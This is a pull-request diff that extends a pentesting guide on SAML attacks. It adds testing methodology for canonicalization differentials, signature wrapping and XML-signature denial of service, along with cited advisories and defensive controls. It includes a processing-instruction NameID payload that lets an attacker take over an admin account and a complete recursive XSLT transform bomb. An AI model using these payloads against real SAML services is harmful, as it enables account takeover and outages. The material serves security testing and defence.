Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
62 changes: 62 additions & 0 deletions src/pentesting-web/saml-attacks/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -56,12 +56,37 @@ For more information about the vulnerability and how to abuse it:<sup>[[1]](#ref
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)<sup>[[1]](#references)</sup>
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)<sup>[[2]](#references)</sup>

### Canonicalization-versus-application text differentials

Do not assume that a valid digest authenticates the string later used for account lookup. Build a legitimately signed baseline, inject **processing instructions**, **comments**, split text nodes, CDATA and mixed content at every position in `NameID` and identity-bearing attributes, and compare these four outputs: the referenced node, its canonical bytes, the signature library's verified-node output and the final application string.<sup>[[16]](#references)[[17]](#references)[[22]](#references)</sup>

For example, a vulnerable `xml-crypto` integration treated processing-instruction data as text while canonicalizing, but the application's XML accessor ignored it:<sup>[[16]](#references)[[22]](#references)</sup>

```xml
<saml:NameID><?p not-an-?>admin@example.com</saml:NameID>
```

The signature layer therefore reconstructed the previously signed value `not-an-admin@example.com`, while authorization consumed `admin@example.com`. XML comments can create the inverse or a truncation differential when one layer joins text around the comment and another returns only one side; this becomes account takeover when the resulting value is used to link an external identity to an existing username or email.<sup>[[17]](#references)[[22]](#references)</sup>

Useful mutations include:<sup>[[16]](#references)[[17]](#references)[[22]](#references)</sup>

- Insert `<!--x-->` and `<?x data?>` before, inside and after every security-sensitive text value.
- Vary empty comments, adjacent comments, multiple text nodes, CDATA boundaries and whitespace.
- Test both the original DOM and any parse-serialize-parse path.
- Reject the result if verification and business logic do not consume the **same returned node and exact text representation**.

## XML Signature Wrapping Attacks

In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection.

The following attacks are based on [**this methodology**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) and [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Consult them for further details.<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup>

### Verified-node binding and alternate protocol paths

After signature verification, trace the object returned by the verifier into status validation, assertion selection and identity extraction. If application code reparses the document or runs an independent XPath/DOM search, mutate duplicate IDs, repeated `Response`/`Assertion` nodes, element order, unexpected nesting and signed objects of the wrong type until the verifier and business logic select different nodes. A robust implementation rejects ambiguity and only exposes the exact verified element to the caller.<sup>[[18]](#references)[[19]](#references)[[22]](#references)</sup>

Exercise **success and error responses separately**. A genuinely signed error `Response` must not authorize an assertion discovered elsewhere in the document; require `StatusCode=Success` on the same verified response and bind the accepted assertion to that response before consuming `NameID` or attributes.<sup>[[18]](#references)[[22]](#references)</sup>

### XSW #1

- **Strategy**: A new root element containing the signature is added.
Expand Down Expand Up @@ -122,6 +147,10 @@ The following attacks are based on [**this methodology**](https://epi052.gitlab.

You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it.

### Test every signed SAML message handler

Repeat verified-node and wrapping tests against `AuthnRequest`, `AttributeQuery` and `LogoutRequest`, not only login responses. A handler may validate a captured signed element nested inside an attacker-controlled outer request and then process the outer issuer, `NameID`, session index or query subject. Depending on the handler, this can disclose attributes or terminate another user's session.<sup>[[19]](#references)[[22]](#references)</sup>

## Ruby-SAML signature verification bypass (CVE-2024-45409)

**Impact**: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain **any IdP-signed SAMLResponse** can **forge a new assertion** and authenticate as arbitrary users.<sup>[[5]](#references)</sup>
Expand Down Expand Up @@ -213,6 +242,32 @@ You can also use the Burp extension [**SAML Raider**](https://portswigger.net/ba

The talk linked in the Tools section also demonstrates XSLT-oriented SAML testing.

### Pre-authentication XSLT transform bombs

If the implementation forwards attacker-selected `ds:Transform` algorithms to `libxmlsec1`, an invalid or self-signed message can request XSLT during digest calculation. The following transform fragment recursively emits two branches per level, so depth `n` produces `2^n` leaf nodes; `n=27` attempts to create 134,217,728 nodes before signature rejection.<sup>[[20]](#references)[[22]](#references)</sup>

```xml
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/"><out><xsl:call-template name="d">
<xsl:with-param name="n" select="27"/>
</xsl:call-template></out></xsl:template>
<xsl:template name="d"><xsl:param name="n"/><xsl:choose>
<xsl:when test="$n &gt; 0">
<xsl:call-template name="d"><xsl:with-param name="n" select="$n - 1"/></xsl:call-template>
<xsl:call-template name="d"><xsl:with-param name="n" select="$n - 1"/></xsl:call-template>
</xsl:when><xsl:otherwise><x/></xsl:otherwise>
</xsl:choose></xsl:template>
</xsl:stylesheet>
</ds:Transform>
```

### Scaling tests for XML-signature DoS

Record peak RSS, CPU and latency while independently increasing request size, XML depth, `SignedInfo` depth, node count, references and transform recursion. Superlinear growth is exploitable because parsing and reference transforms happen before authentication. One canonicalization flaw deep-copied a subtree at each nested node, producing `O(depth^2)` allocation; an approximately 60 KB invalid SAML request could drive the process to multiple gigabytes of heap.<sup>[[21]](#references)[[22]](#references)</sup>

Defensive controls should reject XSLT and allowlist the required canonicalization, digest and transform algorithms; limit HTTP body size, XML depth/nodes and reference count; and enforce worker CPU, memory and execution-time limits. Apply limits before or inside canonicalization rather than only after signature verification.<sup>[[20]](#references)[[21]](#references)[[22]](#references)</sup>

## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>

**XML Signature Exclusion** tests how a SAML implementation behaves when the `Signature` element is absent. A vulnerable service may skip signature validation and accept altered assertion content.<sup>[[8]](#references)</sup>
Expand Down Expand Up @@ -497,5 +552,12 @@ The same parser weakness that gives an overread can also crash the SAML processi
- [13] [Pwn2Own Ireland 2025: Bypassing Authentication via Synology DS925+ SAML SSO](https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso)
- [14] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [15] [youtube.com - Watch](https://www.youtube.com/watch?v=WHn-6xHL7mI)
- [16] [OneUptime issue #2988 - XML processing instruction can modify SAML NameID](https://github.com/OneUptime/oneuptime/issues/2988)
- [17] [authentik advisory - Account Takeover via SAML NameID Comment Truncation](https://github.com/goauthentik/authentik/security/advisories/GHSA-35v6-hv2g-6992)
- [18] [OneUptime issue #2981 - SAML signature bypass via signed error response](https://github.com/OneUptime/oneuptime/issues/2981)
- [19] [samlify issue #634 - Signature wrapping bypass for LogoutRequest and AuthnRequest](https://github.com/tngan/samlify/issues/634)
- [20] [python3-saml issue #447 - DoS via XSLT transform](https://github.com/SAML-Toolkits/python3-saml/issues/447)
- [21] [goxmldsig advisory - Quadratic memory amplification in SignedInfo canonicalization](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-qhrp-hfff-vphr)
- [22] [Hacking SAML with Claude Code](https://oblique.security/blog/hacking-saml/)

{{#include ../../banners/hacktricks-training.md}}